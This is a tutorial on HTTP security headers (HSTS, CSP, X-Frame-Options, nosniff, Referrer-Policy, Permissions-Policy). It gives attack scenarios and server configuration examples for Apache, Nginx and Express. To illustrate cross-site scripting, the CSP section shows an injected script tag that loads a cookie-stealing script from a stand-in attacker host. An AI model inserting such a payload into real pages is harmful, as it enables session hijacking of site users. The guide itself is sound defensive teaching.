HTTP Security Headers: Your Website's First Line of Defense

HTTP security headers are instructions your web server sends to browsers, telling them how to behave when handling your site's content. They're one of the easiest and most effective ways to protect your users from common web attacks.

Quick Win: Adding proper security headers can improve your security posture dramatically with just a few lines of server configuration. Most can be implemented in under an hour.

Why Security Headers Matter

Without security headers, browsers make default assumptions that may not be safe. Attackers exploit these defaults to steal data, hijack sessions, and trick users. Security headers tell browsers exactly how to protect your users.

Without Headers

  • Site can be embedded in malicious iframes
  • Browsers may interpret files incorrectly
  • Connections can be downgraded to HTTP
  • Scripts from any source can execute

With Headers

  • Clickjacking attacks blocked
  • MIME-type confusion prevented
  • HTTPS enforced automatically
  • Only approved scripts can run

1. Strict-Transport-Security (HSTS)

What it does: Forces browsers to always use HTTPS, even if the user types "http://" or clicks an HTTP link. Once set, the browser will automatically convert all HTTP requests to HTTPS.

Real-World Attack It Prevents

Coffee Shop Attack: You're at a coffee shop on public WiFi. An attacker intercepts your connection and redirects you to http://yourbank.com (without the 's'). Without HSTS, you might not notice. With HSTS, your browser refuses to connect over HTTP - you're protected.

Example Configuration

Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

What Each Part Means

  • max-age=31536000 - Remember this setting for 1 year (31,536,000 seconds)
  • includeSubDomains - Apply to all subdomains too (api.example.com, www.example.com)
  • preload - Allow inclusion in browser preload lists (ultimate protection)
Warning: Once you enable HSTS, your site MUST support HTTPS. If your certificate expires, users won't be able to access your site at all. Make sure your certificate auto-renews!

2. Content-Security-Policy (CSP)

What it does: Controls which resources (scripts, styles, images, fonts) can load on your page. It's the most powerful header for preventing XSS attacks, but also the most complex to configure.

Real-World Attack It Prevents

XSS Attack Example: An attacker finds a way to inject this into your page:
<script src="https://evil.com/steal-cookies.js"></script>
Without CSP, the browser loads and executes the malicious script. With CSP, the browser blocks it because evil.com isn't on your approved list.

Example Configuration

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.gstatic.com

What Each Directive Means

  • default-src 'self' - By default, only load resources from your own domain
  • script-src 'self' https://cdn.example.com - Scripts only from your domain and your CDN
  • style-src 'self' 'unsafe-inline' - Styles from your domain, allow inline styles
  • img-src 'self' data: https: - Images from your domain, data URIs, or any HTTPS source
  • font-src 'self' https://fonts.gstatic.com - Fonts from your domain and Google Fonts
Start with Report-Only: Use Content-Security-Policy-Report-Only first to see what would be blocked without actually breaking your site. Fix issues, then switch to enforcing mode.

3. X-Frame-Options

What it does: Controls whether your site can be embedded in iframes on other sites. This prevents clickjacking attacks where your site is invisibly overlaid on a malicious page.

Real-World Attack It Prevents

Clickjacking Attack: An attacker creates a page with a "Win a Free iPhone!" button. Invisibly positioned over it is an iframe of your banking site's "Transfer $1000" button. Users think they're claiming a prize but are actually authorizing a transfer. X-Frame-Options blocks this entirely.

Example Configuration

X-Frame-Options: DENY

Available Options

  • DENY - Never allow framing (most secure)
  • SAMEORIGIN - Only allow framing by pages on the same domain
  • ALLOW-FROM https://trusted.com - Only allow framing by a specific domain (deprecated)
Modern Alternative: CSP's frame-ancestors directive provides more flexibility: frame-ancestors 'self' https://partner.com

4. X-Content-Type-Options

What it does: Prevents browsers from "sniffing" the content type of files. This stops attacks where malicious files are disguised as harmless ones.

Real-World Attack It Prevents

MIME Confusion Attack: An attacker uploads a file called "image.jpg" to your site, but it actually contains JavaScript. Without this header, a browser might "sniff" the content, realize it's JavaScript, and execute it - bypassing your security. With the header, the browser treats it strictly as an image and the code never runs.

Example Configuration

X-Content-Type-Options: nosniff

There's only one value: nosniff. This tells browsers: "Trust the Content-Type header I send. Don't try to guess."


5. Referrer-Policy

What it does: Controls what information is sent in the Referer header when users click links or load resources from your site. This protects user privacy and prevents data leakage.

Real-World Privacy Issue It Prevents

URL Data Leakage: Your site has URLs like /user/12345/medical-records. When a user clicks an external link, by default the full URL is sent to that site - revealing user IDs and sensitive page information. With proper Referrer-Policy, you control exactly what's shared.

Example Configuration

Referrer-Policy: strict-origin-when-cross-origin

Common Policies Explained

  • no-referrer - Never send referrer information (most private)
  • same-origin - Only send referrer for same-origin requests
  • strict-origin - Send only the origin (not full URL) for HTTPS, nothing for HTTP
  • strict-origin-when-cross-origin - Full URL for same-origin, just origin for cross-origin (recommended)

6. Permissions-Policy

What it does: Controls which browser features (camera, microphone, geolocation, etc.) can be used on your site and by embedded content. This limits the damage if your site is compromised.

Real-World Risk It Mitigates

Feature Abuse: You embed a third-party widget on your site. Without Permissions-Policy, that widget could silently access your users' cameras, track their location, or use other sensitive features. With the header, you explicitly deny these capabilities to embedded content.

Example Configuration

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=(self)

What This Example Does

  • camera=() - No one can access the camera, not even your own site
  • microphone=() - Microphone access completely disabled
  • geolocation=() - Location tracking disabled
  • payment=(self) - Only your own site can use the Payment Request API

Quick Implementation Guide

Apache (.htaccess)

Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains"
Header always set X-Frame-Options "DENY"
Header always set X-Content-Type-Options "nosniff"
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Header always set Permissions-Policy "camera=(), microphone=(), geolocation=()"
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'"

Nginx

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'" always;

Express.js (Node.js)

const helmet = require('helmet');
app.use(helmet());  // Adds sensible defaults for all headers

Testing Your Headers

After implementing security headers, it's crucial to verify they're working correctly. Use our free tool to scan your site and get a detailed report.

Summary: Header Cheat Sheet

Header Protects Against Recommended Value
Strict-Transport-Security SSL stripping, downgrade attacks max-age=31536000; includeSubDomains
Content-Security-Policy XSS, code injection default-src 'self' (customize per site)
X-Frame-Options Clickjacking DENY
X-Content-Type-Options MIME sniffing attacks nosniff
Referrer-Policy URL data leakage strict-origin-when-cross-origin
Permissions-Policy Feature abuse camera=(), microphone=(), geolocation=()
You're Ready! Implementing these six headers will significantly improve your website's security posture. Start with the easiest ones (X-Frame-Options, X-Content-Type-Options) and work up to CSP, which requires more testing.